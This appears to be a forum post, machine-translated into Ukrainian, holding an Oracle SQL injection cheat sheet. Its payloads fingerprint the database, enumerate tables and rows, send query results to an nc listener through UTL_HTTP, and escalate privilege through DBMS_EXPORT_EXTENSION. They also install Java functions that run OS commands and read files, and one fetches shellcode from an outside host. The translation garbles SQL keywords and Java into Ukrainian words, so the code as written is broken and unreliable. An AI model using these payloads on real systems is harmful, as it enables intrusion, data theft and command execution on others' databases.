Цей допис востаннє відредаговано test 2015-1-24 13:01
Коментар: -- Виконання кількох речень не підтримується, а федеративні запити підтримуються Назви баз даних, таблиці та колонки пишуться з великої літери.
Довжина(поле) ascii(substr(поле, N, 1))
та (вибрати count(*) з дуального)>0 — Визначити, чи є це оракулом
Порядок за n--
та 1=2 об'єднання вибрати нуль, null,.....,null з dual — замінити null на N або 'N'
та 1=2 об'єднання select null, (sql-оператор) ,.....,null з dual -- зміна на (sql-оператор) у 'N'
та (вибрати count(*) з all_objects, де object_name='UTL_HTTP')>0 — Визначити, чи підтримується UTL_HTTP (експортна IP відома)
та UTL_HTTP.request('http://LocalIP:port'|| (SQL-оператор)) =1-- Дистанційно надсилати повідомлення локальному, локальному прослуховуванню nc -vv -l -p 1234
SQL-оператори Виберіть банер із sys.v_$version, де rownum=1 для запиту до версії оракула виберіть член із v$logfile, де rownum=1 Запит до шляху до файлу журналу (Windows або Linux) виберіть utl_inaddr.get_host_address з dual, щоб запитати IP до прослуховування бази даних Виберіть instance_name з v$instance для запиту до sid виберіть назву з v$database Запит до поточної назви бази даних Виберіть sys_context ('userenv','current_user') серед користувачів бази даних подвійних запитів виберіть * з session_roles, де rownum=1 для запиту щодо поточних прав доступу користувача виберіть * з session_roles, де rownum=1 [та роль<>'ім' першого дозволу']
виберіть table_name з user_tables, де rownum=1 Перший сегмент таблиці поточної бази даних виберіть table_name||','|| tablespace_name з user_tables, де rownum=1 Перший сегмент таблиці, база даних (для верифікації це може бути не v$database) виберіть table_name з user_tables, де rownum=1 та table_name<>'сегмент першої таблиці' Другий сегмент таблиці поточної бази даних
виберіть column_name з user_tab_columns, де rownum=1 та table_name='Сегмент таблиці' Перше поле, що відповідає назві таблиці виберіть column_name з user_tab_columns, де rownum=1 та table_name='Сегмент таблиці' та column_name<>'Перше поле' Друге поле відповідає назві таблиці
виберіть поле з сегмента таблиці, де rownum=1 порушує вміст першого рядка виберіть поле з сегмента таблиці, де rownum=1 та поле <> 'вміст першого рядка' відкриває вміст другого рядка
Крос-бібліотека виберіть власника з all_tables, де rownum=1 запитує першу назву бази даних виберіть власника з all_tables, де rownum=1 та owner<> 'First Database name' для запиту до другої назви бази даних
виберіть table_name з all_tables, де rownum=1 та owner='назва бази даних' Запит до імені першої таблиці відповідної бази даних Виберіть table_name з all_tables, де rownum=1 і owner='ім' та table_name<>'first table name' для запиту до другої назви таблиці відповідної бази даних
виберіть column_name з all_tab_columns, де rownum=1 та owner='назва бази' та table_name='сегмент таблиці' Перше поле, що відповідає назві таблиці виберіть column_name з all_tab_columns, де rownum=1 та owner='ім' і table_name='сегмент таблиці' та column_name<>'перше поле' Друге поле відповідає назві таблиці
Виберіть поле з бази даних. сегмент таблиці, де rownum=1 порушує зміст першого рядка Виберіть поле з бази даних. Сегмент таблиці, де rownum=1 і поле <> 'First Line Content', порушує вміст другого рядка
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); багатооператорний END; --','SYS',0,'1',0)--
Якщо 'є escape, використовується chr().
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES(chr(70)|| chr(79)|| chr(79),chr(66)|| chr(65)|| chr(82), chr(68)|| chr(66)|| chr(77)|| chr(83)|| chr(95)|| chr(79)|| chr(85)|| chr(84)|| chr(80)|| chr(85)|| chr(84)|| chr(34)|| chr(46)|| chr(80)|| chr(85)|| chr(84)|| chr(40)|| chr(58)|| chr(80)|| chr(49)|| chr(41)|| chr(59)|| Мультиоператор || chr(69)|| chr(78)|| chr(68)|| chr(59)|| chr(45)|| chr(45),chr(83)|| chr(89)|| chr(83),0,chr(49),0)=0--
Якщо кілька речень занадто довгі, ви можете записати твердження у файл сайту і використати utl_http.request для її отримання.
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); utl_http.request('http://www.guetsec.com/shellcode.txt'); --','SYS',0,'1',0)--
Створити JAVA-пакет SecTest runCMD використовується для виконання системних команд та '1'<>'a'|| (виберіть SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); ВИКОНАТИ НЕГАЙНО''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ПОЧАТИ ВИКОНАТИ НЕГАЙНО'створити або замінити та компілювати java-вихідний код під назвою "SecTest" як імпорт java.io.*; публічний клас SecTest розширює Object{public static String runCMD(String args){try{BufferedReader myReader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args) .getInputStream())); Струнний stemp,str=""; while(stemp=myReader.readLine()))!=null) str+=stemp+"\n"; myReader.close(); Зворотна сила; }catch(Виняток e){return e.toString(); }}}''''; КІНЕЦЬ; ''; КІНЕЦЬ; --','SYS',0,'1',0) з dual)--
readFile використовується для читання файлу та '1'<>'a'|| (виберіть SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); ВИКОНАТИ НЕГАЙНО''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ПОЧАТИ ВИКОНАТИ НЕГАЙНО'створити або замінити та компілювати java-вихідний код під назвою "SecTest" як імпорт java.io.*; публічний клас SecTest розширює Object{public static String readFile(String filename){try{BufferedReader myReader=new BufferedReader(new FileReader(filename)); Струнний stemp,str=""; while(stemp=myReader.readLine()))!=null) str+=stemp+"\n"; myReader.close(); Зворотна сила; }catch(Виняток e){return e.toString(); }}}''''; КІНЕЦЬ; ''; КІНЕЦЬ; --','SYS',0,'1',0) з dual)--
Надайте дозволи на Java та '1'<>'a'|| (виберіть SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); ВИКОНАТИ НЕГАЙНО «ОГОЛОСИТИ ПРАГМУ AUTONOMOUS_TRANSACTION»; ПОЧАТИ ВИКОНУВАТИ НЕГАЙНО '''почати dbms_java.grant_permission(''''''''PUBLIC'''''''',''''''''SYS:java.io.FilePermission'''''''',''''''''<<всі ФАЙЛИ>>'''''''',''''''''виконати''''''''); кінець; ''''; КІНЕЦЬ; ''; КІНЕЦЬ; --','SYS',0,'1',0) з dual)--
Створити функцію Функція SecRunCMD та '1'<>'a'|| (виберіть SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); ВИКОНАТИ НЕГАЙНО «ОГОЛОСИТИ ПРАГМУ AUTONOMOUS_TRANSACTION»; ПОЧАТОК ВИКОНАННЯ НЕГАЙНО '''create or replace function SecRunCMD(p_cmd in varchar2) поверніть varchar2 як мову java name''''''''SecTest.runCMD(java.lang.String) return String'''''''' ; ''''; КІНЕЦЬ; ''; КІНЕЦЬ; --','SYS',0,'1',0) з dual)--
Функція SecReadFile та '1'<>'a'|| (виберіть SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); ВИКОНАТИ НЕГАЙНО «ОГОЛОСИТИ ПРАГМУ AUTONOMOUS_TRANSACTION»; ПОЧАТИ ВИКОНАТИ НЕГАЙНО '''створити або замінити функцію SecReadFile(ім'я файлу в varchar2) повернути varchar2 як java ім'я мови''''''''SecTest.readFile(java.lang.String) return String' '''''''; ''''; КІНЕЦЬ; ''; КІНЕЦЬ; --','SYS',0,'1',0) з dual)--
Надати дозвіл на виконання публічної функції SecRunCMD отримує дозволи та '1'<>'a'|| (виберіть SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); ВИКОНАТИ НЕГАЙНО «ОГОЛОСИТИ ПРАГМУ AUTONOMOUS_TRANSACTION»; ПОЧАТИ НЕГАЙНО ВИКОНУВАТИ «НАДАННЯ ВСІХ НА SecRunCMD для громадськості»; КІНЕЦЬ; ''; КІНЕЦЬ; --','SYS',0,'1',0) з dual)--
SecReadFile та '1'<>'a'|| (виберіть SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); ВИКОНАТИ НЕГАЙНО «ОГОЛОСИТИ ПРАГМУ AUTONOMOUS_TRANSACTION»; ПОЧАТИ ВИКОНУВАТИ НЕГАЙНО '''надати все на SecReadFile для публіки'; КІНЕЦЬ; ''; КІНЕЦЬ; --','SYS',0,'1',0) з dual)--
Визначає, чи була функція успішно створена та (вибрати count(*) з all_objects, де object_name='SECRUNCMD')>0-- та (вибрати count(*) з all_objects, де object_name='SECREADFILE')>0--
Виконати команду та '1'<>(вибрана система. SecRunCMD ('Виконати команду') з duual)-- та '1'<>(вибрана система. SecReadFile('фізична адреса файлу') з dual)-- або та 1=2 об'єднання вибирає нуль,...,систему. SecRunCMD('виконати команду'),...,null з dual-- та 1=2 об'єднання вибирає нуль,...,систему. SecReadFile('фізична адреса файлу'),...,null з dual-- або та '1'<>(виберіть UTL_HTTP.request('http://LocalIP:port'|| ЗАМІНИТИ(ЗАМІНИТИ(SYS. SecRunCMD('Виконати команду'),',',''),'\n','')) з dual)-- та '1'<>(виберіть UTL_HTTP.request('http://LocalIP:port'|| ЗАМІНИТИ(ЗАМІНИТИ(SYS. SecReadFile('Фізична адреса файлу'),',',' ','\n','' ')) з dual)--
Функція видалення та '1'<>'a'|| (виберіть SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); ВИКОНАТИ НЕГАЙНО «ОГОЛОСИТИ ПРАГМУ AUTONOMOUS_TRANSACTION»; ПОЧАТИ ВИКОНАННЯ НЕГАЙНОЇ '''функції скидання SecRunCMD'; КІНЕЦЬ; ''; КІНЕЦЬ; --','SYS',0,'1',0) з dual)-- та '1'<>'a'|| (виберіть SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); ВИКОНАТИ НЕГАЙНО «ОГОЛОСИТИ ПРАГМУ AUTONOMOUS_TRANSACTION»; ПОЧАТИ ВИКОНАННЯ НЕГАЙНОЇ '''функції дропу SecReadFile''''; КІНЕЦЬ; ''; КІНЕЦЬ; --','SYS',0,'1',0) з dual)-- |